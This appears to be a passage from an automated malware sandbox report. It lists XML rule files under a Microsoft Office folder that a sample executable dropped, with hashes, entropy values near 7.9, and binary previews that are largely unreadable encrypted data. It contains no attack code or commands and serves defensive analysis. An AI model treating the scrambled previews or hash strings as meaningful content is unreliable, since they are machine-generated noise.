Preview:	<?xmlj.~A.....s..h..n....HUk....W...............1z.z.}...5..... ..............3J$9......5/.Q >.....C5.F.E..^.O.]s...Q.E....;.....:OX.1....m.W... @.,..~=3....x`.....O..b1}..%..{.~Z`F.(._...#<^..z.@r.('......... ...9.m..z......+...c.t.e2.b.E.....I....9'..X_.$..M:..\.N..J.z.?=.W...Q=1..\|2...q.....M...4.a.....8.e.B....0.B.?e.....3..0..7L.}.../Nj2d3.fy\.....>B.sQ ....z....cq..KOe..t..DT.u-...#.B0..en..XT..mA.I.B.m.J...Kw.^2W.g..^.=.d.w....`c....! ....d.....:%pws.I2....aJ0........U.......t2..<t..."........R}.Y....;E..`FZx.....O@T...-.^....(^?..wA..s.....i.....0.\Ka.....@..V].....D\.m.Vw4".s....6\.....r$].. d....?.+..... ~..o$.N.b.....+=n.N.Z.s<..p..:.Hn(...J/*.mu..E.<2/@.^..~].%8J....l..,D.i...G.#......:0^...._.S.=...;...T....}=..v.:..0....w.wR...5Hy..T.k.@n.'I..t...@.s....x.]....)..'....ZA3..+.....]..6)..nE. .2.a5..M.....W(....jO/...I@.r.~..jD.VN..\t..v......m..;Vk6L.[..#a.X^....s....t...".$"IvK:..GE;4.........0.:>,.iV(.........?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8950931795391
Encrypted:	false
SSDEEP:	48:vFHoAK2Kae1ECfrI+qBprN6eiJjCaIx3oP8AkxnD:vFIALKXrrIvprpymJi8AkxD
MD5:	5A27637D938F7A0C2C0AC9C0FA29FC3E
SHA1:	709C2229936CD27C05F4C23DAA493986EBD83700
SHA-256:	A74C29CD9936D175F3CED038B40626959E90A96D0959164B5A15C5402FEF78F0
SHA-512:	FBAEC4E4A5FFC77CC6823115BAF73BCFFE1A34E7F34B29F7936F035AF6FB27DF71D699C5F0C9AE43B35574A8A5AA239B56730C856424BC284F3B3F347B2524DF
Malicious:	false
Preview:	<?xml.U.q8.e.y^/2"qD1u.]J....$.k..?j.+.N2s.....Iy)..I.e..y.xH..[.t..M..u..~.Rj..sv....`...WD.I.. ..n.6.......[........o....8u.....^....!..^.....e.....t$.....:pQr.E..A,..U....{..;.cbf&.>.....Qk.J..5.X....94......6Z..?.?C6....5.N.<.\..z.,;...w..J.H...1...pd.(...^~...X.\|4#*8{O....@6zi.K!...W........S..}........u,.."y.AF...)2.........&.. .....4s....#P...{..p.:.......[.......Lt.(.\|.......4....@4x...A.....V._....t.O..B..'..X..%...5........o...F......W..1Ue...x..P(..D...q..ubx_...p..U..B..D.Qhz.J...o$...d.U!....f.rs.V.q..Tt....p.k..(.\|.`...M. .f...@Y..].......A,.....Z....+.9.-.....Ah.0.sl<R.1k#..\|;...q.1.........;$5< .....t.0......+i..gg.+. .Wyz...-..A./.W......../.[wa.X...\...E...........L7.......oP\|bX.......L......B..".A.\|...'...!.Y...n.p.n..)..M...3..../...<..Ls....>......7........v..L.Lb.<.u'vA..."...G......'M..2...dZ.}....QT.q.a7.~....6..'....N...a&VxyLn].}..C.HZ9..lIU..;....B.m..~(F..[..%...=." \|k.)_..........5.$....I.........o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.886499836675014
Encrypted:	false
SSDEEP:	24:QP1qWYx3ggvb0aG9I0Pg8CSOHs5UbhQILRB0NMFPBwc5syiY4piRUxAUUL7bD:I1/80aYg8iMWbh1RBDFPBwtpiE7UL/D
MD5:	B68B1938D4FEEC8B9E2FE056250205A3
SHA1:	2789CD49B25D76BE4CE5285A8E75229BAA3A3E7D
SHA-256:	C120C9C79BDF9FF00A529449DC7E34B7D40B378DFB1E63C49D894EBC93A19786
SHA-512:	C89C78EA2C0FE81BBE23A74D51F898DE614102F88F50094AC8914C4853ABB92D87BBBA95B6BC24F21898629D7C11006D8EDB5F706B3B7ADF823268789D794106
Malicious:	false
Preview:	<?xml(.@.%...0.......'6I.b ...%...bM?}.#....<.7l...@...x.[.C.\.$.Ie..6.........p.k%..gS..=.>...x...b..x_..s...4...F.@..#.).....I. h...'.....P...V[y....9...Bn..;.4.@......7.4:.J..v..M....w.....'/3w.M.1.1n..W.....=...r.HLQ....Gnk.,L.R...9+....F..sW..@.m."./.....LXF....+..)D,...<Fm..iWK6.p.c..#.8_...1O..>]..e....L.....sJ...2=.dp..d..4..HL]...e....Hn.Jr..7..]...W0....u....2m....(.t........)_..a.:t.....q.f....{Fe.bp'GP..._.....v.J.h...5.jr.:3...9.^9V.=.T...d............F...JMR.`s....n.M.S..O.....75q.h.....MW..q.).-....k2-..Y.U"....$Pa..{s..5JE..Sf6.<..w.....M3.Y.......tI..J}.9...B'....g....+.+D.......fY...+8C..T..?..u...J9...3.#..-V.k......)=....3l.s`\.C...7^.t./.T>=%C.z.....C...].H.....-.].4.i...w........?.......S.R...i."R....L..c..n..X.fBT....3.H}.>u.r.r.0..O.t........}.."`.....OuN..]8v8L?9..v{#...J3.......s\...V.3..M...\L.....,...X.C.-.x..g.v.&.2}..:G. ..8b.6.rxQAJ.......JZ'....x.G.&....{]...E&x....1....b...^..NPe9..9RX#-.....'H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886115241430106
Encrypted:	false
SSDEEP:	48:9gpF1HMS3eem/F0b9Qos8RZJOPgHuYREEUU7jD:9gFsEeZeR7ZAKuwEEUwv
MD5:	D2A5131071CB16B50D5E2F519325A3E8
SHA1:	E4575271FA36460C7790608B07787567EF56EAE1
SHA-256:	DE186990F1724661042DB0BEA4BD5893A99908A8DCBCBC4B339BAAFA86503F65
SHA-512:	3358FCEF801FB5A3382838E9D617189026865A14D59BCD69891DFECD041FD106061B96D3C7C86C17FD13A937F9BC515A94C565358A5B016097C216702253CDD9
Malicious:	false
Preview:	<?xml.A..u......L.kq.5Z...-...1PB.'.j...C.n..>........TX.K.6.X.,..../D.....:o..Wm...N!..Fr...+:... h.n.....g.xN.s$.T......F...-9;/.......rl..N..(..........P..rnN:.1....At.`.......C-.]@.p..?R......O........e...F.....<m\;=Pd2_.W.1..u.c..Ykv[@\|...D+Plq?n...D....#.[0...p/.+z..8.ceM#..v....5bQ.?..=$..#%..S....._...S....Ny."1,..B..~SPs.....}..T....."Z .k.w.n..y..Z.....d..z...c.H6k...j..}...,..oM.P..][.(.E..^*.F...q.v.5..fV;\|...'i=.G)6}.....)-,.@.g.\.....`l...}-C..-K.h...,...c...j..KeQx\|..0.GAl.L..G..i4.U..F.T.....2M..%. .L.q.......N..4d.p..X'......v%d..Rd k.%$.l.._&.c.....x.gs.t<......y...h..J\|.....:...gX.pX..Po.h........X.......p...{]^..3J...g.e...z.Z3.......[=.D[-m.......6.n..(......(.5.o..T.k.B.T5o uS...D5.p../]_.R.>M.....AU!....:...'.i.......J. F..u.......=.i.l.}R......).=.<..r...l...].5..9t.........;neA.H.z.'.}.3~m.T<.(.y../..G..{.l(....q.....I..d.......#iU.7]D.ci.y.L......#..eRc.6n..GL&......L@...[.cc...J.PhH"J...m.....^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.884253924138614
Encrypted:	false
SSDEEP:	48:oLV2TN3fNTv5X/PHMGY3zNEKkXGfwH2zQ0MKMEKZpMk9g7d4QD:+8TN1TR/PslDNtkdHALpk9sdv
MD5:	612403D2F09483EB1DDCAAFE903B94B3
SHA1:	B4CB8F656A128678EED73AD0C404F3F371E88AE2
SHA-256:	485FFFA96F4FCA06AB3A06BD8F5C3F3B1854D87DCF2E5A61D2A5BF551157CCC8
SHA-512:	9AF53012AF83E4A9E0C5634A87633F71B8CC5E396DC262C0C88F479D913ACA2E17677FA68931769E5DFAEF5646DABC1CF5615360941DBBA66CA90C426F97B868
Malicious:	false
Preview:	<?xmlx...J.P.W...L...Lp....'.....4.\T..w....U1.$.....Fn..M.. ...X..).&...d......W.....S....!........;..4..x8k...c.q..(...^j%.......!.}]T....AG........2...T...........1D.....Z@\.I....05....[.I5.G.7.y..... ..,...?.k.n..i..t..n.......b...v.\|@....%'g..s\...I..v.ZH7Q....x....1.NX..h.v.H...{.-..2v....-G..b&.W<.....mM..qp],...X..HB .9Q.X.......h.w:ePB.[...a8.\.\|.O.......5...\.%..S....c..=...A4"...Y.u4..GI....H#..g!.S.0....4.5JI...Z9C......{p.../+p...P.....7P.Ar..1.Y5. ..t...;....b.Uy}0...Z.wrF...#.k6P.....>...`n.7g.K.rk.6UvE.E.i..(.6}A!...N...vdU.C..T.?.}.rc..........O.u..O. .>.Tr.q{'P....>.:(W..~l.{..h..Fd6^.h.......flk<\|..Ep..MZ.....f,.0Z$s.E.....n..x...i...........h..e.N.$.(%.a<}..l.!MRF7...2..[.D..jX;).....@.....}Zm8..O.....<f 8..@Mv..z..%.r<..Ya..n!....)..0.y3...O..n..G.N...i....gI.g.\.v5.`G.........+..;..kJ....1..b._!..~5.#.`.v..7.Z`.sM..C... ..Z.S....~.N0n..Zu3>Sp....f*.>.4w6..g..'..0lU .Z8..U..J..P...... {c.zp..(.gk......l..a.../...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.89127856711837
Encrypted:	false
SSDEEP:	24:7h3PxgnIJEn45Ap1RqINm1ZYoH8w9tX/oQ7a9GwzedVCodBm95sHXgyld+wJzxIX:5ygE4wR61aO9tYadVCodBmyXzLqD
MD5:	546574B306BBF04593744CC31CE3EBEA
SHA1:	243ECA7AAA47A88D7B62A8D3A63C4CCB392AD9C4
SHA-256:	E109CC3B81BA913E02344A9F022128FDB0AE9A9A9559BFC40232FF588D35DC53
SHA-512:	9815DAE921F46555E487C1253232004C0D5A7A79AD204DCC0DA3C26FBDD87409162D6E353BC6970FE92E848FB0408F72A41D1ABB56FC397EE91CA7DB0DB2FB6C
Malicious:	false
Preview:	<?xml.y...s..._%......Q.l6. .O....?t..f......Uzu..,E+...{...R..[Q?....Am...E8ld.=.].Y...A.}...Q.fo.jr..c....R#.V.+../.z1.Ld1..>r..NV#..K.....t.q]..'..[c./\^.,......H.}.Y.Z.(Z...L.6t..Kn..=.(G:K...+.v.K.....ti.?g.5...l..4.i..~..m^..W..R....KB#.!..;...P..]....Fj....g..B......l.)..U.........4v......#ty:!.......pjP9....+.,.....N..8...C%..3.k....4pe....xa(.....v...[Q..2......./.+..'...Mb..s.~7I.o.c..+.W"KQ..<.......<....E.f....qN.s..c.z.4...P\.W.M.. .I.......;.n..aw..~#......&{.r.^.F~.....}X..Z...\.2y..H@.7.G.)....G..n.......3.K.X=.......Hr...k.V.Si.b\:./.I.m.j.=.j2Is...S.......3{.</.F...j-.@T...T....!Ja.F.M%V\|..@.4.,..W2S......'!eRb.X_):.q@W&...O{y...`X.0....X.9P(zu8..:.yC....YN.2.......E:...5F.......\|..n.nz3K......?a...U,t....8.F.jG@.......gj..bE/t?A.!d#s.} ..5..grb.w....C..k<lN...i>..1...+.6.^.Z:.s.bG-...u......Y..z[..x.?....g.....!P..S.,...q..h.b..\|\|....qP.....Q....i.t..+<v..W.5..?..x....nh..@f. .z...7'...#.HQ..*..Y.~.@m...~...q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.889497135363078
Encrypted:	false
SSDEEP:	24:k/3NwPo+ZejPp7dv7sQz8uXFMGayAvIgU/yrHi5my2qKuDOtrbL9Jr/BeybD:u5H7hI+8uVMGaqfml9Tr/BegD
MD5:	8B13AD59BF69E0EAE1FD113F41A39D3D
SHA1:	9FB74996F023359134A5721450191DB25E62393B
SHA-256:	C9FC60B8926E9D8DB0414844AA39A54FD02F36E21D04D830905F6ECD541CE436
SHA-512:	52D614BF3AA377717CCAE39B442AF7C019D6CF927FC1453019A5CDE3344738F6A53118DF110890936495924544BF158D13447C3C023238906DA96050CF176CF7
Malicious:	false
Preview:	<?xml..OjU...U.J9.$.}...y.].,.(w...i.........M..6..#.[..f.S..#Ta.W..~.y D_.1..!...z.fhnn.p..gI6M.yt.K.......\W..+..ff........._]....2Y............uy.M.("u....U....b5.O~DQ....3e.W....H9M.M...$......L(.....0.X.).\^Q.D..L.K{.....3..tv2b..../e.)b.=. .O.-2.....2^[9.....}.x.....@7........c3H.....%.H...xJb.@w.N1..T........y.Zv{.%..U.w.F..A....B.....{....T....3............sB..2...G..6..GY....h:.3 .b.+.n.&...E4JYL...m..9.P..md..k#...S....Y(p....=[...V.......C;..}..-O...(...........)...s..N. ~^Ez...}e..X....T.p.8....n2d..G..[.%..~...,.!<!...e\IQ%wgqR....V......}B.ss.. b{.q..'Kr]......lW.t..........o.AE.h.7,..)p&..^.c.^. C.e..U.#....v..Y..;.[ b...=.-.....7....txC9.oX+....od^..l/..&...=.p>."..2@.,Np(cL.R....6.!Ev..vGmD.(..kMz. )..h.g+KB.]@..o..M..y....`1Pv....n..Zz.t.....*...@G?.7K.By..O.@..&}..1.o.....bZ.fHAc...8E.%#N...n?...WJ.....-.#dX.......w.=j....$....d.dN..>..@2.........".<...E.V(.$...QXf.8.k.,R.....{...,..u..Q.,\|}.;.CD..F.\......K6(..Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.876764608805535
Encrypted:	false
SSDEEP:	48:UdxiZZu0xw8/QSq4QMjmhm/a4snHB8LtD:UE7MSZaPHiZ
MD5:	9A9C0424B835402252A3A7D8BA4FE593
SHA1:	0CABFD08487607C232302303DFB42E92EF7AADE6
SHA-256:	E4207FD096709DB6E36DDCF4706CCB40DB5B2EB3E5E026F0DCCDED11C00EE876
SHA-512:	CE5F5023E9F0C72C5288546F1C46D2E9FDF769E186661DFF3F16A0464936D9367A20DD152EEC41F29AD54555A15E3301EB627DC34D30AC485DF12262421131AE
Malicious:	false
Preview:	<?xml1%..-..pd....].}..[{.xB=<'..y.......[...xT.....&..N3..T..~..r.~X.;..(..<0<...CthK.........<?.e:.O0f#.#....L..A...G.bz..^..q......A..B..XI.l.'.H(e-\Y@3..e\|.......U...Z.X<..".....!..W..__c...... I.?.a......&.R...xWg...}..!.,?.u,CI.u...<.....&h.~...Z..=0....N.....?y....f..=....{..-......o~...H.Zd.&D`............BKy..Q.n.0...N...0e[....J{..I;-..p..lR{Kd7.W.....B.<.Aa. ._..{vq..........Q..~3..\|.S.ue..gvg]."..]L_.......-.....d..%z.....;...~.BZ_I..._..A...,.FU.Rd.aP._dN.....8....8K....o]}Z_....E..J.\.....<.........Ox..1.../.c[}.-.......@f......}.J..M....sfR.....4.<..Q .0.-9......%.J9..S.D.....f...=.....B.^d.T......xs.E! aBw.3Z.5b..N.....".k.3..2..J.P.jb....Z....=...s..f..."b..G=.i...Z.w.........`.+...Qc..#B..\..F{.".h.D$..54c:0&sp.....bWG.G..^....z~3oA..q.....x2...+..+..p......]4....r..y....Z>H...;.=.kh6....k."J..iSH..,.{.......m......!.7.....n...o.N.K.;.......U.B[...d]..'....pD~ouj..y.E....h.!.M.cAk\|l4u.39.u.*a....=....T{......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.887767221386506
Encrypted:	false
SSDEEP:	24:m+y5J2P+YEn2+xym7n5kfuCIidtHv00DwdjtlVGZKdISXsGq8NTJubD:mB5ginvymd6uCI+WPdISXsGqedMD
MD5:	2B046E0830E016C867FCEDF890AE5639
SHA1:	A361CE9F6BBFE9C71826DB0CEEF67F0EA5AA6FC4
SHA-256:	0E9CC3747DE854C0A4D6FAAB7FB3C6933E3E59D2028271DA8A55594A0A225B0E
SHA-512:	2CA300B37411A1E7E6436EEDEA971567647EF3BD37B2169B2E13721EC0742CFC5A82FBC889D71E43692233C26D305F4FF84E81BAC05B8447C8B2BCB48A320023
Malicious:	false
Preview:	<?xml\........U....zM.3.W.[..Z2~...[&uZ.B.U"9...x.q.....=~...o.....!.1...x..cQ3.L..T..t.Sn..(..?.......L.S..../...u\|s....n07.k...2..A.u&.Y.32.?P..3.lN.-g.b.,.!ty.a.{x..].h.#.....<l"./....$V.LQ;..3..=.z_;....\|...I...yud....@'-...>.R.6.....7.=i).....x<..>...u.+@.V.....F..-......~P.~.......)....H.....f../...D.....t=..0.@Z..2.#...)...A.....0.6S.'r\...TF....r..(nN...`..U.z.o._...s....k.,.4dK.#m...B.+....l...=......H>Ym..q<#..6'.J..8..,?eU.,.w...2...@..`.6..+...Ww..F..8W(..i.>....4... _mR#...2..%..M..aw..ZQy]l.FM.r..c.j....ZIE.#...8s?.V....O....i..t8..Xv;.......].9qG-...M`2.45....:.....YA,.._.J.O@..\d}..yp....Y\...R.k...p../..r.a.....j....;.....i.-....2.(...8.l.u.)EW?.....tLY}...t..~...K..&..+....Mq. }S.L.T...X.t..o.....I.-...[..m{)..mj...P..d..r...e..F....a.q*...A.6.`.Z..88D...].....)...hL\|.M.Q. .m...ha.k6K.!0.................d..H..4l..^..}......x..o..YQ2.".....{9.}.R...;{#.2.N...Q`g"w.f...^.B~....y.._YY.N..=8<,.0.~...`.`..Z3......',=.m...n..`y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.888323714070895
Encrypted:	false
SSDEEP:	48:6VeRAp5DTicPtAYj6KiKfT892xppNhHwlD:Slp5Duc1AYj5l8q1Hk
MD5:	0113668F174A89292ADF3E63DA41FDBF
SHA1:	9B174854D2385C0A38EE38574E816DF5489AB464
SHA-256:	F5C24EED238418C95AB0D783D19CBA5FEE9EF239A15E31F6072B63516A4B2E88
SHA-512:	62AC85AFD213CAFABE8692C814BB836CDC044AF40EEFF8D24A4B47F319527072B6A88BD2B6EB6385487C0C27497F2F7D3BB94816FABB6983D7D438E1B21C50EF
Malicious:	false
Preview:	<?xml...-..:'.i.lQW4...v...w..8!.p;.%E.......Y...H.CK..M.bbKm...-...q_F.J..........R...6.ZE....Q....E.......r.....5.-.....=b.P.lA..X.%.:..7/4../@)....%....].i..[._D.G......Mf.;..[........r..!c.b...oe....8........V.(.....n...51.1.O.]X..0...M.hq0.. ......e..&Y..Ov.gx...'J.....5..m..V...5.-.^...jb.......~.................UK,...aaG)J./..n(.c0.\|...si.]~.i..%....m.O.+.2O.K...%.....&.v.t.z.....a..'.5.a...u+l..z...0.......Z\...[....#x\|_w..q.Q.{`W.._....?..,...4/B...~.l.w....e!VX?..j.3^T....r..K.1..Y.+t......}...}.t.H.f.<.u.L.?.?..rf.i;...&L...Q\......G...b..TEj.[.[.(.j.,.......]..x....U..INQ>m....9...J.K.>l"A.......$8./..`%..i8zn.}<S.....?.R..L7['"..q...........i\..I..."D.K.3.Ws......;.x.Q..=..6i:...b..#L=....O....iC.....8.yK10..u.._7PyY.d".v*.........=.&d...JJ.C~.W;.6.).....g......{Y.....e..?.\..,..........I.D.3F.5...X.M-n.I..bW...".T.g.L.l....c.C..IW.W_....8.2.(..E...../.:..J..@u..=R.K$..&=..-...G!.sQ.1........:..Gn..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.902727971327007
Encrypted:	false
SSDEEP:	24:H4f+s8R60RXOM3fpflEb5aP/r30AXZSXIoyDrmkZXbDpIYznBdQ4jO8xtvHq4A+X:Yf/8g0gMPllEPCZSXUrmMX6o3/BxRK0D
MD5:	F2B502769A6B547C62A4363CFCA3AEB4
SHA1:	6014E299822234D7A42C072B0F6238346464E084
SHA-256:	04DA96F928A782A3D91163DAE5F6E771D20CCA095D09AE75B88F5BFAF96D2839
SHA-512:	58E32BC96996EBC250372147F76B09018240B85C24BB2EE7D83FB263473A292F5763AC117097ED4DF642881BC20F6E3A7E415AAF8C53C28C394A3E84C2E20C1F
Malicious:	false
Preview:	<?xml ."...)..k<....W.%.....v.U.?yY.=...<....t..UZ.m...;.H....m`%..A...k.@..hD..ps.^..A...u1..EnD.nc@...+R&...x...3QVd5............/J.l..T7r^.'...F.l..?..~.D{..n.....6.....V...V..Q%..L.}...7......n.>a.8...\|...}..l.J.....].......Z..4.QN...H.>~.J....!.l..ZWo=.....Rq...d.......... ..C..........M..Cf]d....[.../..q...[...V...J..XB$.U...o.......\|S.Xcg-.<(.....l.A..G3:....<.:........Q.%.g.n.r.s.`...kW..@+..5.j(....d..2.*^...U.P.2m....j.......[.y.y.z`...d.W..R.......N].k..F.o%8..Y....y..oz.UQ.s...s..VoX[...k...f.\5..G.....`V.I.....t..#.........j...;..f..]=9...U......o.@..o...<.^.z.b......g%......7.%...l.p.. ...... .<..q..=3...v.f@;...!...Y.C.h.^$.qw}..f..^f....)#{D@.z..k..:.Y..\t.G.?.tt.pt......8H:cG.H..`.Y..n..e.!0....&.F.M/g.,...61..'...p.......H.;...t...0.1..,V.-.Z..P4&k....g[iP..$.......D....A..,.........._......A....)V.v....4s....r.O.5T.UO.T...?wr..-..........O.8p..O...f..]?X..1.u[.ny.6...F.R..9T..1.SR7r........o..I-.LYy..e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.868266818286304
Encrypted:	false
SSDEEP:	48:NvC1wOevD+8Vp4vb5oq0ZePQf+RQK6Ul9KPHfaD:N619evD+nb5d0EPQf+ARPHfy
MD5:	E2A49CA38276453281FEE8553F968D27
SHA1:	822DF407B6DC7111162E41C16B84793911EC6F5F
SHA-256:	F52E2803C2271E14CA73EB4AC2C5390CFBF79B475E436F1E9E08B4ECBD6A54CA
SHA-512:	6E240466DF4DFD8FA3A307E279C09115D8E4139A5999CD303AED68C974CCAE8C698EB87A3189FF3000D59E04BA9444BBF7B643B190F506C16D574FB5C6B1B93F
Malicious:	false
Preview:	<?xml..Q.k..a.. ..r...u.J../C...D..4F.(...,......\......,.HZY.....c(..; .....b"{Q.z.8.FZ.~....z.wY. .Zw. .k..z.._..V.f..d=){...tB.2.....I....0.q.....C.h.{.B-.D..+p.!a..;.a9..Cw.R.v.Xj.Q.o(.9..pl......5.\&\|<.\S\|....;".......HtJ...%. V'g..C=.l].l.r[G..#...".....7\(......:.o.9.>.!.\|...(f.y..O...R-.X...f.mhi.Exjn....D=.G..9......0xN....G.7eE..hg...b..W..d......d.l:..A.....QTM~57yr)..<.......).?.q0..".....DC_7....G?..v.<...%...{..r.....G.z..^....Bp:..4:..$%....o..__.J.F.0Q...../...l%...D_..J&.1......U.......A.............3,....t`R.J.....k..~..%.l$....T..eR...e..=.{\.;.....Ce]2.0.....UZ.Ii.-g.H..>2...\|.#1.n..w...L~.r.h...g.dy7!...L..... ........Ne.h/...t....IB...`...A.g.4....b.k....p...).N.z... @o.u..A6...'N....W.,...i..d'..3....O......D.Ym.N.V.A.D.....}..`..S.67#.... )~.=i?.....ET....#..Z.P..A.*..R.S.MS.t.._.rD.e..i.Y..g...Xm.44....~d.(.j.E..TTL..(.y.5.......(...,.wa.$.)gx...Uu...q....x2 '..q....A..W<...T..O...\..o...1g.To....{...........{....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8820606076075475
Encrypted:	false
SSDEEP:	24:wDTzIbEQSUGSZp0ywpn0vCeJZft9acC+iwCFeOEokwMUF6QM8jZv9jhJf9N9pcbD:wD4+q1wppeJZVE3EOEo/woVv9jhB9NyD
MD5:	9D5C6A594A48A56473300BD477D6F878
SHA1:	6AD04A264CC1EA41EE6CB4060A42C01A3A339804
SHA-256:	E0F5949AD03F799503E01D50BFDA726EC6BADDC078CADAA115086CABBC53BFD1
SHA-512:	613E654871EA586A32E6C87CC7547A6F0F21488817DB1FA59219FBA85A4626939F890172B6A5700451ED8272DF8BABBB72385BC5ABCDAB18B462E0FFEF5F9511
Malicious:	false
Preview:	<?xmlMfN...E..2e.ja..I..bl.Li5WN...L...($...&..M..{.....W...z/$!.W.FfU. .[../...Dr...n.1K.\$.1.....h.a.C....>...C:.a@...8.)..e.L&z.'.\|.O...4bb.........>b...Mf.C..U.wKL..Gd.4..~q...._ujc.....?'\X...B......\...'.S.u.@.a..]..s/..:...........(..1...k8~Y&..3..p:.....V.%M'...L@.(yq.\|.2..[W..&...."K.T.AB.]..bq..3g......8...`g.:0.m....ix&E.^>.0-(.m.......R!<H>i......%.<..=Nt).. ...r]^NSG.i.l..C....o..V.Lz.p..9.uD..<..-..O...l./N..z....v)....].pd..xMJi..$...!...Ab....R..Z...V.l..cS....:...N?.Ebg..>.C.}........a....^^......\...o.a..............e.Y..3,....5........O......?..^.@77..F.JW.......,Z.J1Z...`....kK.c(X.2..........i.....r..3.@."_.N....s.(....q............U.1..dz.)....j!.l...2Cl.....-.....g..}..b..c...c...5..}-TY...x./+9.....7. ..~.Eu ..e..;..'...o.%..H..5..DX#Ob....x..r>'2L.?..a.m.7)..............$..2.`.(b..,.D3.~u..b....R. h9..J..?.........V.<Y.q...}..;...DEs=.@..q.p3...x5H....D.YW.0.9g...$...67.....,]kx.(L.5..d.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.896540975624279
Encrypted:	false
SSDEEP:	48:z0DImfsQ+z1PMG+hCnPBPkKApiHK8FcocxqD:z0D1UQENMGvP73qQ
MD5:	BE49B2177D32867469F83129F7D0747F
SHA1:	1738E68DB17A5F97C3DE6647253897EB1280E957
SHA-256:	D915F040361D542DA15E6AC15057D31F3C9A7A0CBC61CB519788DF5722698A6F
SHA-512:	43D4F2E86DBA95A16BA99CA27A7A0703E7989ECF0F6C8BA086D17E6EC9F00A54B7F3F4F4717BA6AB23B5EC0A9563D5596560D0AF607232774B63C65EAE5C712C
Malicious:	false
Preview:	<?xml.E....5..\|...3....v....(uH-(t.^u.....c^./K.g.....hjS. F....>...e(?...j.33.0.X.(.:..+.l,Z..H.i...l./......F..;N.!.....v.K.x..........~...WI..D1.\6O\...P..qX......Y...h!...ie}S?...q=........n..^.K...z..;.,L\..y:V..iT....+[....<#n......RW...n...../.I..Pv..gG...4.8..w\...v...0.0..]....s..;[.j..Nit........#F./9_'...P..i.0P.(.......K'..3.....\.42j1........_S.@+.,;`...6V3~.....W.ytPd....:...N.iM;,..f.."...........@.:J....U.Q....)....X...3.......V.d..w&0M\|..{........d...]..}.b./"..P.&7.n..).v..q.....-3..i2.?v.N".^.9.Vq...=.[.7.L....8jO.phI........)..JC.TJ@.G.0.`.-".[.}>..r...<.0.;.p..]......6..X.....n.........#=...^..!u.t....z.?;./P_D:T+....K.g.. ...R...s.t.-..Vl-\A^.cq...1....E..-.N(..&...T.._..\.G.Cx.w.n....=X..vh.:h9...B...xA.......A...=.{........J.n<.....C.......w.E-Q...._\.M.G.$W..[YR3...'0......!B.. .._.'.....g%....N....B<.Ba.....>YT.....O .+...Z.\1.UF5.M..7x...r....R.Ix.n..c".:1q..p`.7.....\|K.jtS....U...]....@.AmN.m.hQ.H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.877053242422697
Encrypted:	false
SSDEEP:	48:e8PCLIgcNP8zcrvrmqPDGj//CaSmoy3rD8D:m8gQEz4DLGj/0mogA
MD5:	5DFD1B039E1186C25664247681BB71A8
SHA1:	801C55049461E188C0E91FD9013AC93C9ADEE679
SHA-256:	B0E9295B1CC59CA38F70114F802E182204949E870E8335ECE7A8C8ABD46143C6
SHA-512:	43DD538CBB18FA24F1AE2C0119DFD0BF5F526875E99B7FE152C77BC97898929798EC7AF3DA823289EF2C4E03AB9F45C5A80880C154A17E5F493C56DA8CE6E898
Malicious:	false
